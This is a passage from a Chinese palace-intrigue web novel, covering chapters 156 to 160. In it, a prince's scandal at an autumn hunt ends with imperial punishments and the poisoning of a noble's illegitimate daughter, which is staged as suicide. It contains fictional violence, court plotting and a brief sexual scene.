两人回到营帐,让知夏打了热水过来,又让铃铛去端醒酒汤。
楚御礼洗漱之后,拉着姜黎婳在床榻上坐下,笑容朦胧,“为夫没有喝醉,夫人不信的话,可以试试?”
“试什么?”姜黎婳瞧着他脸颊红红的模样,忍不住好笑,“都上脸了,还没喝醉呢?”
“真的没有喝醉。”他拉着姜黎婳的手往身上一扯,声音还带着一点沙哑,“娘子感受到了吗?”
红霞顺着他的动作和话语瞬间从姜黎婳的颈子升起蔓延到了全脸和耳后。
知夏端着热水刚走到门口就被昭临拦住了去路,她不解的抬眸看着昭临,昭临一言难尽地往里面看了一眼,压低声音道:“等着吧,一会儿里面会叫水的。”
姜黎婳恍恍惚惚中忽然听到了一声尖叫,然后营帐外面传来了嘈杂声,她推了推身上的人,低声道:“是不是出事了?”
“旁人的事与我们有什么关系。”楚御礼在她锁骨上轻轻咬了一口,声音沙哑,“娘子你专心点。”
姜黎婳想说外面那么多人,她要如何专心?可话还没说出来,身体就传来一阵酥软麻栗的感觉,她再也无心其他,伸手紧紧地抓住楚御礼的手臂。
第156章 束郡王梅开三度
束郡王营帐。
鲁卿秋看着抱着被子坐在床榻上的女子,面无表情的问同样身上毫无寸缕的楚明暄,“殿下,您不解释一下吗?”
楚明暄不屑的睨着站在营帐中质问自己的鲁卿秋,“解释什么?不过是有想要攀龙附凤的女人爬上了本王的床,本王不过是满足了她,这有什么好解释的?一个宫女罢了,大不了纳回府上给本王当个暖床婢女。”
“暖床婢女?”鲁卿秋冷笑,“殿下最好还是看清楚床上的女子是谁吧!”
裴霜絮不知道自己不知道自己为什么会出现在楚明暄的床榻上,她明明记得自己进的是龙帐也记得自己躺在了龙床上,为什么会和楚明暄...
鲁卿秋看着床踏上的那一抹红印,嘴角勾起一抹冷漠的笑意,“您就这样与镇国侯府的千金在秋猎第一日就发生了这种事情,您觉得父皇会如何?”
这时候外面传来佩蓉的声音,“束郡王、郡王妃,皇后娘娘听到这边传来喧哗声,派奴婢过来问问发生了什么事情?”
楚明暄这才后知后觉的认真看向裴霜絮,看清楚裴霜絮的脸那一刻,他震怒的站起来,“你这个贱女人怎么会出现在本王的营帐内?”
“来人,把这个**给本王拖出去,本王要去父皇面前亲自对峙!”
“我是冤枉的!”裴霜絮连忙裹着被子从床榻上走下来,“我不知道是被谁敲晕了送到束郡王这边来的!绝对不是要爬郡王的床!”
“你们这些女人贪念本王的权势爱念本王的容貌,本王都知道,你还想狡辩!”楚明暄一边说一边穿衣裳,“本王才不听你的狡辩。”
鲁卿秋懒得听楚明暄这不要脸的话,她深深地看了一眼裴霜絮,转身往外走去,看到佩蓉还在外面,她抬步朝佩蓉走去。
佩蓉见鲁卿秋走出来,她给鲁卿秋福了福身子,“郡王妃,皇后娘娘派奴婢过来问问,这边发生了什么事情?”
“请嬷嬷转告母后,束郡王与镇国侯府庶出的小姐做了不轨之事。”鲁卿秋抬眸看着佩蓉,“因为事关镇国侯府的名声,此事怕是还要母后和父皇出面处置了。”
佩蓉脸色一沉,语气也多了几分凉薄,“里面的女子是裴霜絮?”
鲁卿秋颔首,“没错。”
佩蓉离开了,很快皇后身边的宫女过来请他们过去,鲁卿秋率先过去,皇后营帐中,原本有些醉意的皇帝沉着一张脸坐在高位上,皇后坐在他旁边,而慧妃则跪在两人前面的。
鲁卿秋见状深深地吸了口气,她抬步走过去跪在地上给帝后两人行礼,皇帝没有喊她起来,也没有问她话,片刻后穿戴整齐的楚明暄和裴霜絮两人也被人带了过来。
皇帝看到楚明暄抄起手边的茶盏就朝他砸过去,“逆子!你就那么管不住你自己!”
“父皇儿臣冤枉啊!”楚明暄扑通跪在地上,“是这裴家小姐自己躺在儿臣床上的,儿臣一时喝了酒,没看清她的脸,才会做出这种越轨的行为的,求父皇明鉴啊!”
“陛下,臣女冤枉啊!臣女记得臣女是在自己的营帐中,但是忽然被人敲晕了,醒来就已经被糟蹋了!”裴霜絮哭声凄厉的大声道:“求陛下和皇后娘娘给臣女做主啊!”
裴霜絮心想自己为什么这么倒霉!
自己看上的楚御礼看不上她,皇帝她也没得到,却被一个纨绔给睡了,而且这楚明暄那么多女人,又喜欢流连勾栏之地,还不知道身上有没有什么脏病呢!
她不会被染上脏病吧?
想到这里她的哭声越发凄厉了起来,倒显得越发真切了。
“你胡说八道!你说你是不是谁派来故意陷害本王的?”楚明暄恶狠狠地瞪了裴霜絮一眼,“你若从实说来,本王就不和你多计较了!”
“皇后!是不是你?”跪在地上的慧妃忽然抬头恶狠狠地瞪着皇后,厉声道:“今日白天这个女人差点毁了御王的名声,你为了扼杀这个女人再对御王动心思,就让人把这个女人敲晕了送到我儿的营帐中,你想毁了我儿子?”
皇后瞧着这么急不可耐地想要咬自己一口的慧妃,嘴角勾起一抹冷漠的弧度,她眼神冰冷地从裴霜絮脸上扫过,最后落在楚明暄脸上,语气冰冷,“本宫若不想让她生出别的心思,直接把她送回侯府禁足便可,你儿子的名声还用本宫陷害?他能有什么好名声
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?”
皇后说到这里不屑地冷哼了一声,“本宫何须为了陷害一个本就名声扫地的郡王,搭上镇国侯府的名声?慧妃,你未免太瞧得起你的好儿子了。”
“你这话是什么意思?”慧妃心头忽然闪过一丝不祥的预感。
皇帝听到皇后这话,脸色也阴沉了下去,就连原本还有些醉意的眼神也瞬间清明了不少,他眼神凉凉地盯着跪在地上的楚明暄,“你今日若是不能给朕一个交代,朕就废了你!”
“皇上!”慧妃焦急地伏在地上,急声道:“暄儿平日里虽然不怎么靠谱,但是关键时刻还是懂得分寸的啊,他定然是被人陷害的!”
“是否是陷害的,得派人查了才知道。”皇后眼神冰冷的看着跪在地上的裴霜絮,沉声道:“来人,给裴霜絮验伤!看她是不是真的被人敲晕的。”
很快有太医过来,在裴霜絮的后颈看到了伤痕,太医连忙道:“这的确是被人用手刀敲打的痕迹。”
皇后的脸色在听到这句话后稍微缓和了一些,她偏头看向皇帝,“陛下,接下来可能就要劳烦您派人去查了,臣妾身边的人查案肯定没有您的人厉害,还有若是臣妾的人去查案的话,慧妃怕是不会相信最后查出来的结果的。”
皇帝颔首,沉声喊,“福清!”
福清立刻躬身应了一声,转身走了出去。
这个时候楚明暄还在喊冤,皇帝气急了,站起来走过去就踹了楚明暄一脚,“你给朕住口!”
楚明暄捂着胸口躺在地上,今晚上喝进去的酒都差点被皇帝给踹了出来,慧妃见状心疼的上前扶着楚明暄坐起来,忍不住哭诉,“皇上,暄儿是我们的皇儿啊,您怎么能如此狠心!”
“你还好意思说,若不是你的纵容,他会变成如今这样子?”皇帝气得大袖一甩,“朕的几个儿子,你看谁像他这般不成气候?你现在还好意思说朕狠心?朕若真的狠心,早就废了他那惹祸的根子了!”
皇后听皇帝这话,眼里闪过一丝笑意,她站起来走过去轻轻拍了拍皇帝的后背,低声道:“陛下别气了,先坐下喝口茶消消气,等福清公公那边回来再说吧。”
第157章 鲁卿秋:王府都要成青楼了
作为镇国侯府的主母秦氏很快也被请到了皇后的营帐中,听到裴霜絮的遭遇,秦氏狠狠地剜了裴霜絮一眼,接着跪在地上沉声对帝后道:“此事事关镇国侯府的名声,臣妇请求皇上、皇后娘娘严查,并且给镇国侯府一个交代。”
慧妃听到秦氏这话的意思立刻就怒了,她侧首怒瞪秦氏,厉声骂道:“世子夫人这话是什么意思?你这话的意思是束郡王把她打晕了抗回自己的营帐中糟蹋了是吗?”
“臣妇没有这么说。”秦氏面无表情地和慧妃对视了一眼,语气生硬地说道“不过束郡王是什么样的人,这京城人尽皆知,他能做出强抢民妇害死人家夫妇的事情来,也不一定做不出糟蹋侯府庶女的事情来。”
“你胡说!你可知诬陷皇子是什么罪名!”慧妃气得跪直身子巴不得扇秦氏两巴掌,但是因为有皇帝坐在高位上看着,她什么都不敢做。
皇帝想到当初自己查到的那些事情,他看楚明暄就越发的不顺眼,这时候看楚明暄一副要吃了秦氏的模样,又操起手边宫女新上的热茶朝着楚明暄砸了过去,“逆子,你还敢瞪人!”
“父皇!”楚明暄被皇帝这么一砸,手上直接被烫伤,他伏在地上遮住了眼中的怒火和杀意,“儿臣真的是冤枉的,儿臣一直都在营帐中喝酒,回去就看到这个女人躺在儿臣的床榻上,儿臣以为她只是一个想爬床的宫女,所以才把她给睡了!”
“求皇上明查,臣女真的不知为何在营帐中被人打晕了,醒来人就已经被...”裴霜絮说到这里又开始凄厉地哭了起来。
她为什么这么惨?楚明暄这个人是出名了的滥情,听说他府中有不少美人,自己今天即便被皇上做主给楚明暄做了侧妃,那将来也混不出头的...
皇帝被他们吵得一个头两个大,抬手揉了揉太阳穴,他怒声呵斥,“福清,查个案需要这么久吗?”
“陛下,奴才来了。”福清尖细的声音从营帐外响起,很快一个太监打扮的人就被福清拖了进来,“陛下,奴才回来了。”
楚明暄看清楚被福清拖进来的太监,当即瞪大了眼睛,“陈路?”
陈路慌张的跪在地上,哭着朝楚明暄磕头,一边哭着道:“王爷,不是奴才不想替您遮掩,实在是这福清公公说欺君是要诛九族的,奴才是为了养活兄弟姐妹才入的宫,不能为了您就害死奴才的家人啊。”
“狗奴才!你他娘的说什么?”楚明暄站起来就去踹陈路。
陈路腹部受了两脚,嘴上一边求饶一边辩解,“王爷,不是您说看上这裴小姐的美貌,让奴才想办法把裴小姐弄到您营帐中等您的吗?”
“放屁,本王何时说过这种话!”楚明暄又狠狠地踹了他两脚,他双目赤红,“是谁要你陷害本王的!”
“王爷,奴才这些年跟在您身边是忠心耿耿的啊,奴才对您的忠心,您也是知道的啊!”陈路肚子被楚明暄踢得狠了,嘴角都开始流血了,但人依旧没有躲开,他抬眸看着楚明暄,哭着道:“今日若不是福清公公说要罪连家人,奴才就是死也不会把您招供出来的啊!”
“狗奴才!是谁让你陷害本王的!”楚明暄眼中闪过杀意,他蹲下身子就要去掐陈路的脖子,却被皇帝呵斥住了。
皇帝眼神冷厉地盯着打算杀人灭口的楚明暄,“奴才是你身边的大太监,朕知道这狗奴才替你干了不少伤天害理的事情,怎么?现在想当着朕的面杀人灭口吗?”
“陛下,这狗奴才肯定是被人收买了,求您明鉴啊!”慧妃也跪在声泪俱下地替楚明暄喊冤,“您不要听信小人谗言啊!”
“陛下,奴才说的每句话都是真的,绝对不敢欺君,求您放过奴才的家人啊!”陈路说着为了证明自己说的是真的,把楚明暄这几年做过的强抢民女,抢不到就把人敲晕,或者把别人的家人绑了逼别人就范。
还有更过分的是,看上成婚的妇人,那妇人若是不愿意他一气之下会绑了对方的男人,当着对方男人的面与人行鱼水之欢,之后还威胁人若敢说出去,就弄死他们全家。
皇帝听着陈路的话,气得站起来直接一脚揣在楚明暄的肩膀上,慧妃赶紧上前拦在楚明暄面前,“陛下!您这样会踹死暄儿的!”
皇帝抬起来的脚一脚揣在慧妃的胸口,“你还敢拦着,他都干了些什么畜生不如的事情,你自己刚刚没有听到吗?”
皇后坐在高位上看着下面戏剧性的一幕幕,只觉得大快人心,以前这冯茹英得势的时候,没少在她面前耀武扬威,如今她的报应总算来了!
皇帝踹了慧妃一脚还不觉得解气,他厉声对着福清道,“束郡王贪图美色败坏皇室名声,拖出去重打三十大板!然后给朕拖回去营帐去,回府之后没有朕的命令,不准出府!”
“皇上,暄儿是被陷害的!他成亲这么久以来,已经很收敛了,定然是有人见不得暄儿好,才故意在今日陷害暄儿的,求您明鉴啊!”听到皇帝要打楚明暄三十大板,慧妃急了,她爬起来跪在皇帝面前抱着皇帝的双腿,把脸上的精致的妆容都哭花了,“不信您问郡王妃,成亲过来之后,暄儿定然没有再出去寻花问柳了!”
她偏头看着鲁卿秋,眼中带着警告,“你说是不是?”
“母妃说的是。”鲁卿秋抬眸看着皇帝,言语平静,“王爷这些日子以来的确没有出门寻花问柳了。”
坐在高位上的皇后听到这话,眉头微微皱了起来。
慧妃却松了口气,她抬头看着皇帝,脸上露出柔弱委屈的表情,“陛下,您瞧,郡王妃都这样说了,您不信任臣妾,难道还不信任郡王妃吗?她可是您亲自替暄儿选的王妃啊!”
鲁卿秋听着慧妃这话,抿了抿嘴,轻声道:“母妃,王爷如今虽然不出门寻花问柳了,但看上的女子都被带回了王府,如今府上的暖床婢都有三十人了,青楼的花魁娘子在府上当侍妾的也有三四人,还有两个侍妾是官家小姐呢,我们王府的后院都要住不下那些女子了。”
鲁卿秋说到这里轻叹了一声,“如今我们王府啊,都快要成青楼了。”
“贱妇!你胡说!”慧妃立刻红了眼,“暄儿可是你的夫君!你害了他对你有什么好处!”
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第158章 处置糟心玩意儿
鲁卿秋见慧妃这么说,不但不觉得害怕,反而觉得愧疚,她朝着皇帝深深一拜,“父皇当初是相信儿臣,才会选择儿臣给郡王做王妃的,儿臣也以为儿臣能拘束得住郡王,说到底还是儿臣辜负了父皇的信任。”
鲁卿秋说到这里自嘲地叹了口气,“不瞒父皇,儿臣这些日子以来已经在努力让自己瘦身来迎合殿下的审美,但是到了如今儿臣还是没能入得了殿下的眼睛,实在是儿臣无能。”
鲁卿秋说到这里甚至开始抬手拭泪,“殿下曾经说过,是绝对不会喜欢我这种丑女人的,还是绝对不会碰儿臣的。”
她抬眸看着皇帝,这些日子以来,她瘦了不少,加上听了姜黎婳的话,她不在碰甜食,皮肤也比以前细嫩白皙了不少,加上今日她穿着鹅黄色的纱裙,人更添了几人柔美,此时她眼眶微红,眼泪在眼眶里面打转,倒是让人生了几分怜惜之心。
就连原本震怒的皇帝此时看她,眼神都多了一丝柔和,“这些不是你的错,是这逆子不做人!”
“陛下,您别听这个贱妇乱说!”慧妃瞧着皇帝要被鲁卿秋说动了,连忙嘶声吼道:“她是皇后给暄儿选的妃子,说不定就是皇后安排在暄儿身边害暄儿的,您别听她乱说啊!”
“陛下。”皇后站起来走到皇帝面前跪下,“当初您因为束郡王的婚事忧心,臣妾才替您分忧的,没成想如今束郡王自己管束不住自己的下半身,犯了错事,倒是以此来攀咬臣妾了,臣妾这个做母后的,自认为这些年不曾苛待过束郡王,如今却被慧妃说得如此不堪!为了自证臣妾的清白,陛下废后吧!”
“放肆!”皇帝听到皇后这话,抬脚衣角踹开还抱着自己双腿的慧妃,厉声道:“慧妃善妒!现在还敢诬陷皇后!拖出去重责三十大板!”
“皇上!”慧妃凄厉地喊出来,“您不能这样对臣妾和暄儿!我们是冤枉的!”
“是不是冤枉的朕难道不知道?”皇帝眼神冷冷地扫了慧妃一眼,冷声道:“你别以为那些事情冯胜文替你们遮掩了,朕就不知道了!福清你还愣着做什么?还不把他们拖下去收拾了!”
楚明暄母子刚被拖出去,外面就通传冯胜文过来了,皇帝冷哼,“让他进来。”
冯胜文走进来刚跪下去,皇帝就冷冷地问他,“怎么?冯相听闻朕处置了慧妃和束郡王,过来斥责朕来了?”
原本想替楚明暄母子求情的冯胜文听着皇帝这阴晴不定的话,立刻改口了,“臣不敢。”
“不敢你过来过什么?”皇帝坐回高位上,眼神凉凉地盯着跪在下面的冯胜文,“过来管朕的家务事?还是真如朕说的那样,冯相想来朕的龙椅上坐坐吗?”
“陛下,臣对陛下忠心耿耿绝无二心啊!”冯胜文抬手擦了擦额头上的汗水,“臣只是听闻束郡王又做出有愧您看重的事情,过来请罪的!”
“罢了,他们母子二人朕已经处置了,你也不必在这里演戏给朕看了,回去吧。”皇帝说罢不再多看冯胜文一眼。
冯胜文连忙起身退了出去。
等外面听不到脚步声了,皇帝才看向依旧跪在地上的秦氏,沉声道:“这件事情是皇家理亏,若你们侯府愿意的话,朕今日就做主,让她给束郡王做侧妃。”
跪在地上的裴霜絮闻言立刻凄厉地哭着道:“臣女愿这一辈子都在庵堂青灯古佛,也不愿因为被二皇子强占了就给人当妾,求陛下成全!”
她先前已经想了无数个可能了,她如今是一个受害人,若在庵堂过几年,说不定还能遇到一个身份不错的人,若对方对她怜惜的话,她还能有出头之日。
但若给楚明暄当妾,那她这辈子就真的完了!
她知道楚明暄身边美女众多,但是没想到郡王府的美女竟然那么多啊!
她进去说好听是侧妃,还不一样的是妾!而且她先前说的话已经得罪死了楚明暄了,嫁过去只有死!
而且楚明暄被重责三十大板,以后还能不能人道都不一定,回去更会被关禁闭,将来定然是没有前途的,她为什么要为了一个男人,毁了自己的未来?
再说镇国侯府本就因为和皇后与束郡王势不两立,她若去给楚明暄当妾,还不知道要受什么样的磋磨呢!
所以她绝对不能给楚明暄当妾。
秦氏听到裴霜絮这话,脸色好看了几分,她对皇帝一拜,沉声道:“这件事情关乎我们侯府的名声,还请皇上向外说明情况,这孩子如今既然已经做出了决定,臣妇打算尊重她,让她在家中庵堂了此一生。”
皇帝眉头皱了皱,最终叹了口气,回头对着皇后道:“这事是皇室理亏,朕虽然处罚了束郡王和慧妃,但是侯府的补偿还是该给的,剩下的朕就交给皇后你来处置,如何?”
皇后这才福了福身子,“是。”
皇帝又看向跪在地上的鲁卿秋,“你还有话说吗?”
鲁卿秋轻叹,“儿臣今日说了实话,想来王爷和母妃是容不下儿臣了,儿臣求父皇为儿臣做主。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!皇帝蹙眉,“你想和离?”
“儿臣身为郡王妃又是父皇您亲自赐婚的,怎么能轻易和离呢?”鲁卿秋跪直身子,抬头看着皇帝,“儿臣觉得郡王虽然花心,但并不是无可救药,求父皇给儿臣令牌,让儿臣奉命管教郡王,儿臣定然会把郡王拉回正途,不让父皇失望!”
皇帝闻言脸色这才好看了几分,他随手从袖中拿出一个金牌递给鲁卿秋,“今后若他敢反抗你的命令,你无需来向朕禀告,直接管教就是,朕今日就给你了这个特权,以后束郡王府,你说了算。”
鲁卿秋郑重地接过金牌,抬头看着皇帝郑重点头,“儿臣遵旨!”
皇帝嗯了一声,又看向躺在地上奄奄一息的陈路,他脸色冰冷,“陈路纵主行凶,就地处死。”
陈路听到皇帝没有累及自己的家人,脸上露出了甘愿赴死的笑容。
楚御礼这边也在云雨之后喊了水。
他亲自给姜黎婳清洗穿好衣裳后,才喊了昭临进来,“怎么样了?”
现在营帐周围已经有他们的亲卫守着了,昭临笑着道:“慧妃和束郡王被各打了三十大板,陛下还给了郡王妃金牌,让她今后奉命管教束郡王,以后郡王府都是郡王妃说了算。”
楚御礼眉梢微挑,脸上并没有多余的表情,“那个人呢?”
“裴霜絮自请青灯古佛。”
楚御礼冷哼,“青灯古佛?她能有这么淡泊名利?”他在姜黎婳的额头上轻轻地吻了一下,“你先睡,为夫去一趟母后营帐,很快回来。”
姜黎婳实在是累了,也不想说话,听他这么说,应了一声翻身睡了过去。
楚御礼这才对昭临抬了抬下巴,“让人守好营帐,不准任何人进来打扰王妃。”
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第159章 裴霜絮的死
皇后正因为裴霜絮的事情心烦,就见楚御礼掀帘走了进来,她挥退给自己揉头的佩蓉,“去外面守着。”
又收起眼底的疲惫之色,朝楚御礼招手,“怎么现在过来了?”
楚御礼走过去在她左下侧的红木椅上坐下,笑着道:“母后因何事烦心?”
“还不是那楚明暄干出来的混账事!”皇后美艳的脸上露出不耐,“那裴霜絮虽然只是庶女,但好歹也是你舅舅的女儿,你父皇让我准备礼品送到侯府补偿裴霜絮,你说我准备些什么好?”
“补偿她?”楚御礼面上没有多余的表情,眼底却是满满的嘲讽之色,语气也带了一丝凉薄,“侯府名声有损,母后补偿侯府倒是未尝不可,不过那个心比天高的人,母后还是让侯府处置了的好。”
皇后听楚御礼这话,立刻感觉出了不对劲,她抬眸看着楚御礼,压低声音问,“你这话是什么意思?”
“她今日在儿臣面前故意落水,为的就是儿臣侧妃的位置。”楚御礼说到这里眼神骤然变冷,语气也像是能凝结成冰的寒霜,“母后,他是儿臣敲晕了丢到楚明暄床上的。”
皇后震惊地站了起来,但是想到营帐的隔音不好,她两步走到楚御礼跟前,压低声音喝道:“你这孩子,就算要算计楚明暄,也不能用你舅舅的女儿啊!你让我如何给你舅舅交代?”
“交代?”楚御礼抬眸看着站在自己面前的皇后,冷哼了一声,“母后,儿臣若不那样做,与裴霜絮闹出丑闻的就不是楚明暄那个蠢货,而是父皇了。”
皇后不可置信地瞪大双眼,“你说什么?”
“裴霜絮趁着所有人都去参加晚宴了,偷偷跑进了龙帐躲在龙床上,是儿臣的暗卫发现了,儿臣让他把人敲晕了扛出来丢到楚明暄床上的。”楚御礼站了起来,他稳着因为太过震惊往后退了一步的皇后,低声道:“母后,您差点就与自己的亲侄女共事一夫了,您真的打算就这么放过她吗?”
“她是留不得了。”皇后脸色阴沉下去,“你早些回去歇息吧,母后还有事情要做,就不留你说话了。”
楚御礼见皇后眼底露出决然之意,他也不再多说什么,朝皇后行了一礼之后转身离开了营帐。
楚御礼离开没有一会儿,皇后就让佩蓉去把秦氏喊到了自己的营帐中来。
秦氏在皇后的营帐中待了一会儿就离开了。
被关在营帐中不准外出的裴霜絮正在想回府之后进了庵堂的对策就见秦氏掀开帘子走了进来,看到秦氏进来,躺在床榻上的裴霜絮连忙起来跪在地上给秦氏行礼,“母亲。”
看到在自己面前装得乖巧,却干得出爬龙床这种恶心事情的裴霜絮,秦氏眼底的轻蔑之意一闪而过,很快她收敛神情走过去把裴霜絮扶了起来,“皇后娘娘说了今天的事情是你受了委屈,等你在家庙中过了这阵子风波,她会把你接回来再封你当县主,算是补偿你。”
裴霜絮闻言眼底闪过一丝惊喜,她抬眸看着秦氏,眼底的兴奋几乎隐藏不住,“母亲,您说的是真的吗?”
秦氏脸沉了下去,“母亲还难拿着皇后娘娘的懿旨跟你开玩笑不成?”
“先前闹出这样的事情,我也被气昏了头,你别和母亲一般见识了。”秦氏说着回眸看了一眼跟着进来的嬷嬷,“把东西放下。”
又对裴霜絮道:“你今夜受了委屈,这是我专程让人给你准备的燕窝,你吃了再睡,母亲明日再过来送你回去。”
裴霜絮乖巧地应了一声,“多谢母亲。”
等秦氏离开之后,裴霜絮脸上彻底露出笑容,真是没想到今天竟然还能有这种意外收获,自己若真的和皇上发生了关系,那不只是皇后就连裴家可能都不会再认她,可现在自己是被楚明暄糟蹋的那个,皇后觉得对不起她,会补偿她,她如今是县主了,就连秦氏也得给她三分脸面!
她掀开桌上瓷盅的盖子,看着里面极品血燕,嘴角勾起一抹得意的笑容,以前这种血燕她是想都不敢想的!
现在秦氏还不是主动上来给自己吃了!
裴霜絮今夜担惊受怕了一整晚,的确是饿了,血燕很甜,她几口就把一盅血燕吃下去了,她刚喝完秦氏身边的嬷嬷就来收瓷盅了,她擦了擦嘴角对着嬷嬷道,“罗嬷嬷,请转告母亲,血燕很好喝。”
罗嬷嬷看了裴霜絮一眼,轻声道:“小姐早些休息吧,奴婢先退下了。”
罗嬷嬷才退出去,裴霜絮就感觉到胸口一阵灼热,接着一口鲜血直接从她嘴中喷了出来,她震惊的瞪大眼睛,站起来想跑出营帐求救,整个人却轰然倒在地上,她眼里流出血泪,“为...什...么?”
她都是县主了,秦氏居然敢下毒害她?
她死了,秦氏要怎么给父亲和祖母交代?
她虽然只是一个庶女,但也是父亲的亲骨肉!
秦氏怎么敢的?
在裴霜絮震惊的目光中,秦氏掀开营帐的帘子走了进来,裴霜絮朝秦氏伸手,她张嘴想说话,鲜血从嘴角流了出来,她用尽全力要往秦氏面前爬,张着血口问,“为...什...么?”
本小章还未完,请点击下一页继续阅读后面精彩内容!“为什么?怪就只能怪你太贪了。”秦氏走到裴霜絮面前蹲下,面无表情眼神冰冷,“你设计御王不成,竟然还敢爬龙床?我们侯府的脸,差点就被你丢干净了!”
裴霜絮眼底闪过不可置信,“是...你?是你...把我送到...楚明暄...床上的?”
“是御王。”秦氏冷笑,“你自认为自己多特别,但其实你在我们眼中什么都不是,曾经湘宁可怜你,我便也容着你,如今这世上谁都容不下你了。”
裴霜絮猛地吐出一口鲜血,怎么会这样?
她不过是想要一个光明鲜亮的未来,这有什么错?
“人想往高处爬没什么错,但你往高处爬为什么要算计别人?”秦氏伸手摸了摸裴霜絮白皙的脸颊,“你那姨娘究竟在我不知道的时候教了你什么歪门邪道的东西?下辈子投胎,记得选一下,别什么人你都选她当娘亲,有些人根本不配当娘亲,知道了吗?”
裴霜絮冷笑了一声,但是却没有了说话的力气。
秦氏说得真轻巧,谁愿意一出生就是低人一等的庶女啊?
若是真的可以选择,她也想当侯府嫡女啊!
姨娘说想要上位就要不择手段,就要比谁都狠...姨娘说得没错啊!
她不过是耍了一些手段想上位罢了,难道就应该死吗?
秦氏看着裴霜絮彻底咽了气,她深深地吸了口气,然后嚎啕大哭了出来,“你这丫头啊!怎么这么心狠啊!不是给你说了,皇后娘娘会封你当县主吗?你怎么就做傻事了啊?”
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第160章 楚明暄被贬,没有争储资格
裴霜絮的死很快传遍了整个秋猎的营帐。
正在说服皇帝给裴霜絮封县主的皇后听到这个消息时人都愣住了,她怔愣地看着皇帝,人也止不住往后踉跄一步。
皇帝连忙伸手扶住皇后,接着看着皇后怔愣的脸色,沉声道:“皇后,你没事吧?”
皇后愣了片刻,抬眸看向皇帝,她眼眶本来就红,抬眸的一瞬间眼泪从眼眶中滑落出来,皇帝瞧着皇后这楚楚可怜的模样,情不自禁地伸手把皇后揽入怀中,“皇后...”
“陛下,臣妾要如何给兄长交代?”皇后的眼泪打湿了皇帝的衣襟,“霜絮那丫头才十七岁啊...明明是在说亲的年纪了。”
皇帝叹气,“这不是你的错,朕会给镇国侯府一个交代的。”
皇后说完喊人送皇后回营帐,自己则带着福清往楚明暄的营帐而去。
楚明暄被打完板子抬回营帐冯胜文就过来了,看着宫女给楚明暄上完药,正要和楚明暄说两句话,外面就传来一阵喧闹说镇国侯府的小姐服毒自杀了。
冯胜文今夜的愤怒达到了顶点,他指着趴在床上的楚明暄就开骂,“你这个不成气候的!这关键时刻,你就不能忍忍,现在闹出人命!你还想明天的计划顺利进行?”
“我就是被人陷害的。”楚明暄眼神阴鸷地看了冯胜文一眼,“就是有人在算计我!明天的事情照常进行,只是这次我要连他一起杀了!”
冯胜文眼睛一眯,警告地对着宫女说了一句,“若想要你和你家人的命都活着,今夜的事情..”
“奴婢什么都不知道!”宫女说完站起来快步离开了营帐。
冯胜文这才往前走了一步,他站在楚明暄床榻前面,沉声道:“你疯了?皇上若是出了事,那楚国就会乱了!你那不切实际的想法,最好给我吞会肚子里面去,明日能不能要了楚御礼的命都是一回事!”
“那楚御礼就必须死!我一定要他死!”楚明暄目赤欲裂,他双手捏成拳头,“我可以肯定我今天就是被他设计了!”
他话音落下,外面就传来皇上驾到的声音。
冯胜文看了楚明暄一眼,然后往后退了一步,等皇帝进来的时候他已经恭敬地站在一边了,他恭敬地给皇帝见礼,皇帝直接无视了他,目光沉沉的看着被打的屁股上全是鲜血的楚明暄。
“父皇,儿臣真的是被人陷害的,您要...”
“够了。”皇帝目光冰冷的看着楚明暄,冷声道:“当初虽说是为了约束你才给你赐封号封郡王,看来你这些年只长了年纪没有长脑子,朕会下圣旨收回你的郡王之位,你还是当个二皇子吧,朕今日就会下旨,你今后不得参加皇储之争。”
“陛下!”
“父皇!”
冯胜文和楚明暄几乎是异口同声的喊了出来。
皇帝面色冰冷的看着楚明暄,“有异议?”
“你这样对儿臣不公平!”如果皇帝下旨宣布他不能参加皇储之争了,那他之后要做的那些事情不就是给人做嫁衣了吗?
皇帝看着楚明暄那不成器的模样,冷笑,“你现在给朕讲公平?王子犯法与庶民同罪!若朕讲公平的话,你早死了无数次了!”
他说罢看向冯胜文,“朕知道你在想什么,但是朕身为一国之君,必须为楚国的未来考虑,冯相,朕记得你多年前也是怀有一腔热血的赤诚之人,你真的觉得你楚明暄将来能担任一国之君吗?”
冯胜文震惊地抬眸看着皇帝,好半晌没有说出话来。
见冯胜文不说话,皇帝转身大步离开了楚明暄的营帐。
楚明暄趴在床上狂吼,“我不服!我不服!凭什么他连机会都不给我!他还是不是我父皇?他为什么要这么对我?”
看着只会无能狂怒的楚明暄,冯胜文双手死死地捏在一起,他的外孙的确不堪重用,但是他已经做了那么多药弄死楚御礼的事情,他还能毫无芥蒂的辅佐楚御礼吗?
不...
即便楚明暄将来无法争储,楚御礼也必须得死。
否则,等楚御礼知道他生病的真相那一天,他这个丞相的好日子就到头了,他女儿的后妃之路也就到头了。
皇帝的圣旨很快就传了过来。
姜黎婳也被彻底吵醒了,她起身没看见楚御礼,只能喊来知夏,一直在外面守着的知夏快步走了进来,她眉头微蹙,“外面发生什么事情了?怎么这么吵?”
知夏说了个大概。
姜黎婳惊得站了起来,“那裴小姐就那样自杀了?”
姜黎婳觉得离了个大谱。
那裴霜絮也不像是会自杀的性格啊。
她那种用尽手段也想要往上爬的人,就算有一丝活命的机会都会活下去的,怎么可能这么轻易的服毒自杀了?
“为我更衣。”姜黎婳沉声道,“我们也出去瞧瞧。”
原本说是过来散心,没成想这还没开始狩猎就发生了这么多事情,这还真是应了那成语,多事之秋。
知夏手很巧也很快,很快为姜黎婳更了衣,挽了发。
本小章还未完,请点击下一页继续阅读后面精彩内容!姜黎婳出去的时候,福清正在楚明暄营帐外面宣纸,当然宣纸的时候把楚御礼和楚明暄、楚巍澜还有楚浩泽几人都喊到了现场,除此之外还有文武百官。
慧妃本来就受不住三十大板,受刑的中途晕了过去,这好不容易醒过来,听到这个噩耗又气晕了过去。
文武百官也没想到皇上这次竟然因为镇国侯府那个庶出的小姐真的动了怒,竟然废了郡王王位的事情都做了出来,甚至还直接下旨断了二皇子争储的念想。
那些原本被丞相拉拢的官员这一次心思开始活络了起来。
二皇子现在看来已经是彻底废了,那他们也得另择明路了。
站在人群后面的萧景宴看着这一幕,目光落在了楚御礼的脸上,那位果然说的没错,这楚御礼若是活着的话,会是他们大业最大的绊脚石。
楚御礼感受到一抹炽热的目光,他抬眸朝源处看去,却什么都没看到。
刚赶过来的姜黎婳站在人群后面听到这圣旨,眉头又皱了起来,慧妃心思这么深沉的人就被这样给斗下去了?
她总觉得事情不是这么简单的。
就在姜黎婳陷入沉思的时候,忽然听到旁边响起了打嗝声。
她侧首看去,一个容貌秀雅,身形窈窕的女子正捂着嘴打嗝,她想压制自己的打嗝声,却越打越厉害。
